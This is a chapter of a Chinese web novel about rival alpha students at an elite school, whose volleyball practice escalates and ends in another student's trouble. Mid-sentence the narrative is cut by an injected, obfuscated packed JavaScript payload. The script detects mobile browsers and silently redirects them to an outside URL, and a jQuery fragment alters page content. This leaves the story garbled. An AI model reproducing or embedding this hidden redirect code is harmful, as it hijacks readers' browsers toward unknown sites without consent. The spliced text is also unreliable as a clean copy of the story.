体育馆里,球声呼啸。
宋婉目光微滞。
面前的场地里,排球飞来飞去,地板被砸得咚咚响。学生们打球打得如火如荼,体育馆里全是鞋底摩擦地面的声音。
但有位学生貌似不是来打球的。
余悸怒吼一声,把飞过来的排球拍飞了。
那颗球高速旋转,朝着白燃的脸就飞回去了。
白燃骚包地一侧身,跳舞似的原地转了半圈,轻松地把球拍了回去。
他还发出爽朗的一阵笑:“哈哈哈——”
宋婉:“……”
余悸脸更黑了,他气得双手攥紧,更加大力地扇飞回去一球。
余悸身旁的几个队员目光迷离,白燃那边的也一样。这球就只在余悸和白燃俩人中间噼里啪啦地飞,旁边人都只能干站着。
宋婉扶额。
她本来是想借这次排球练习,让这两个特招生融入班级。可谁知道余悸完全没有那个意思,眼里就只有和白燃“互殴”。
“太离谱了,他不是说他没碰过排球吗。”
“就是,怎么半个小时就能打成这样……”
“省状元的学习能力恐怖如斯。”
“难道不是s级alpha的学习能力逆天吗?”
几个打累了的学生坐在球场两边休息,一个个脑袋跟着球摇来晃去,又感叹地窃窃私语。
有人压低声音:“那能对吗,你看白少学习好吗?”
学生们露出微妙的神色。
有人吧唧了一下嘴:“咱别说皇太子了吧,让人听到要杀头了。”
孟小嘉站在场上,欲哭无泪。
余悸半点儿没有把他的话放在心上!
昨天俩人回到公寓,孟小嘉生怕他今天真要弄出什么事来,追在后边劝了半天。余悸当时嘴上答应得好好的,说会有个分寸,结果今天上了场,球球都朝着白燃的金贵帅脸去。
有分寸个球!
你们做a的怎么都这么暴躁!
“我说,没人去拦一下?”
坐地旁观的贵族生中,果然有人面露不满了,“他这是在对着白少的脸打,当别人瞎吗?老师,你不去拦一下?”
宋婉看了看场上。
白燃笑得阳光灿烂,飞过去的杀人高速旋转球个个都给接化发地打了回去。毫无压力,游刃有余,玩得开心,好像没有什么拦的必要。
“拦什么,没看见咱燃哥根本没把他当回事吗。”赵一挺飘飘然道,“少爷好久没笑得这么开心了。”
孟小嘉:“……”
这话有点耳熟。
宋婉想了想,还是吹了声口哨。
场上的动作停下。
白燃仰头一个标准的一百八十度后下腰,再次躲过一个扣球。
他背着两手,十分轻松地又直起腰,还是那副云淡风轻的笑脸。
孟小嘉惊呆了。
这什么核心力量,太可怕了!
宋婉说:“余悸,别把球总往同学脸上打,你不是故意的吧?”
余悸显然快被白燃的骚包走位气死了,他阴着脸,死死盯着白燃:“不是。”
白燃眯着眼笑:“真的吗,我怎么觉得不太对劲呢。”
余悸不语,只是一直盯着他。
宋婉问白燃:“还打吗?”
“打啊,为什么不打。好久没人敢这么跟我打了,太爽了,你们可别多嘴。”
白燃伸出两根手指,指指自己的眼睛,又指指坐在旁边的一群围观群众。
同学们面露尴尬。
宋婉不再多说,走了回去:“那注意分寸,别伤到人。”
俩人又开打了,一颗排球又开始满场飞。
一颗颗球朝着脸上砸来。白燃一个个打回去,顺带瞟了余悸两眼。
余悸抬手,用力,打出了球,手臂在空中划了一道线。清瘦的小臂线条利落,白净的皮肤上青筋暴起。
又来来回回打了好久,两个人终于筋疲力尽。宋婉吹哨暂停,余悸往地上一坐,气喘吁吁地喘粗气。他转头一看周围,才发现场上已经没人了,就只剩下白燃跟他两个。
余悸在人群里扫了一圈,找到孟小嘉,恶狠狠地瞪他:“你跑什么!?”
孟小嘉无辜道:“球又不给我,我留场上干啥,在你旁边cos兵马俑吗?”
余悸无言以对。
“哎。”
有人朝他吹了声口哨,余悸眼角一跳,回头一看,白燃站在球网后头,一手抱着旁边的柱子,一手抓着网格,“可以啊,小特招。”
余悸一脸想揍人地看他。
白燃还是不以为意。
他睁开眯起来的眼睛。都是世上屈指可数、极其少见的s级alpha,白燃对余悸有种油然而生的同志感。他之前就偷偷打量过余悸好几次,不过余悸总是把校服穿得板板正正,看不出身材模样。
这回打球打到虚脱,他身上只套着件单薄的速干服,白燃终于看清了。
alpha少年双肩宽阔,却身形消瘦。他薄背窄腰,弯着的胸膛因为喘气而起起伏伏,打球打得浑身是汗。那些水珠顺着修长的脖颈流下去,流到凹陷的喉结下,锁骨里,最后淌进衣服中,在泛着血红色的胸缝里不见了。
白燃又往下看,看见他细瘦的腰线和小臂,两条弯曲盘起的长腿。
“你看什么?”余悸语气不善。
白燃抬起眼睛,和余悸四目相撞。
他丝毫不尴尬:“没有,就是在想你真是个alpha吗,也太瘦了。”
“关你屁事?”
白燃笑了:“关心你啊。”
“我用得着你关心?”
余悸从地上站了起来,气势汹汹地走到他面前,和他隔着球网相望。
周围蔓延起冷冽的薄荷味道。
alpha的本能在散发压制性的信息素。
挺凶,白燃却无动于衷,反倒突然觉得余悸真像只凶猫,噗嗤笑了出来。
余悸不悦,张嘴刚要说什么,体育馆另一侧突然响起尖叫声。
不远处突然乱成了一团,同年级的学生们把一块地方围得水泄不通,慌得乱叫。
“我靠,群哥!”
“你有病吧,打他干什么!?”
“群哥你没事吧!”
“叫校医!!”
余悸诧异地拧眉,没搞懂发生了什么。他往人群旁一瞟,看见有个眼熟的人站在外围,脸色惨白地一动不动,好像被吓傻了。
“卧槽?”孟小嘉说,“那不是刘凡吗。”
余悸想起来了:“那个文化班的特招?”
“是啊,跟我们同期的那个。”
余悸对他印象深刻,前天就是他在控诉有贵族生对着他的脑袋踢球。
宋婉走到他们中间,看着远处那片骚乱:“那是三班,也是今天上午带着班级过来练球的。这是出什么事了?”
白燃搓了两下球网:“刚刚在喊群哥。温秋群吧,他多半打到温秋群了。”
余悸撇他:“谁?”
白燃贱兮兮地一笑:“舍得跟我好好说话了?”
“……”余悸真想给他一脚。
赵一挺坐在后面的地上说:“温秋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486027|202012||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
群在咱学校也算是前几的人了,家里有钱,不过排在燃哥后面。这人架子可大了,他要是真的打到姓温的,就没好果子吃咯。”
-
那边的班级出了事,宋婉不想被扯进去,招呼自己班的学生撤了。
下午的球技大会准时开了,余悸往三班那边看了几眼,没看见刘凡。
心不在焉地在体育馆里把球技大会打完,一年级就放学了。余悸和孟小嘉坐上校车,回到公寓,看见刘凡坐在休息室里抹眼泪。
余悸放下书包走进去:“怎么回事?”
刘凡吓了一跳,抬头看见是他俩,慌忙把眼泪抹干净:“没事,就是老师让我先回来……”
孟小嘉把休息室的门关上,也坐过来说:“上午我们班也在体育馆,都看见了,你是怎么把他撞到了?”
一听这话,刘凡憋回去的眼泪就炸了,一下子就哭了出来。
他挥着两手,边哭边比划:“我就是上午练球的时候,有个同学跟我说练个假动作变化球,我就一不小心把球扔飞了,他正好从那边走过去,就砸到胳膊了。”
“……”余悸愣了一下,不敢相信自己的耳朵,“砸到哪儿?”
“胳膊,”刘凡捂了一下后胳膊,“就这里。我也没用什么力气,球飞出去的时候也挺轻的。他就蹲下去了,还一直喊疼,还骂我,我们班的都骂我。”
余悸气笑了。
“操,砸个后胳膊能疼到哪儿去。”他骂,“我特么以为脑子让门挤了。”
孟小嘉朝余悸嘘了两声,转头又问:“你们老师说什么?时老师去了没?”
刘凡点点头:“去了,他们都叫我回来等通知。”
说完,刘凡又后怕起来:“你们说,我该不会要被退学了吧?”
余悸和孟小嘉互看一眼,都没吭声。
谁能知道这个。
俩人陪着刘凡等了半个小时,时老师回来了。她脸色难看地叹了口气,让仨人都先回去。
“就只是砸了胳膊,校医知道,学校也知道,现在正处理呢。”时老师说,“没事的,刘凡,你是好不容易考进来的特招生,学校不会那么轻易地放弃你。”
刘凡终于吃了一颗定心丸,边抹着眼泪边回去了。
孟小嘉拉着他一起回去,两个omega同志情深地互相搀扶着走了。
余悸自己留了下来。
俩人走远后,他看着时老师:“没那么容易吧?”
时老师没回答,只说:“你也回去吧。”
余悸又固执地站了一会儿,时老师却始终没再说话。余悸看出再站着也没收获,只好单肩挎着书包,回屋了。
刚把书包放下,手机就响了一声。余悸拿起来一看,是白燃。
羽鸟:【向你转账 2000元】
羽鸟:【怎么样了小特招】
羽鸟:【-v0】
余悸:“……”
余悸还是想掐死他。
他深吸一口气,打字:【不要给别人起乱七八糟的外号,谢谢。】
手机上显示出【对方正在输入中…】。
羽鸟:【你别跟我说谢谢,怪渗人的】
羽鸟:【我还是更喜欢你今天想殴死我的样子】
羽鸟:【-v0】
余悸强忍住发一句问候家人的话过去,放下了手机。
刚放下,手机就又响了。
余悸真没耐心了,他骂骂咧咧一句,拿起来一看:
羽鸟:【那个温秋群,你同学可能凶多吉少】
羽鸟:【别跟他说话太多,小心被连坐。】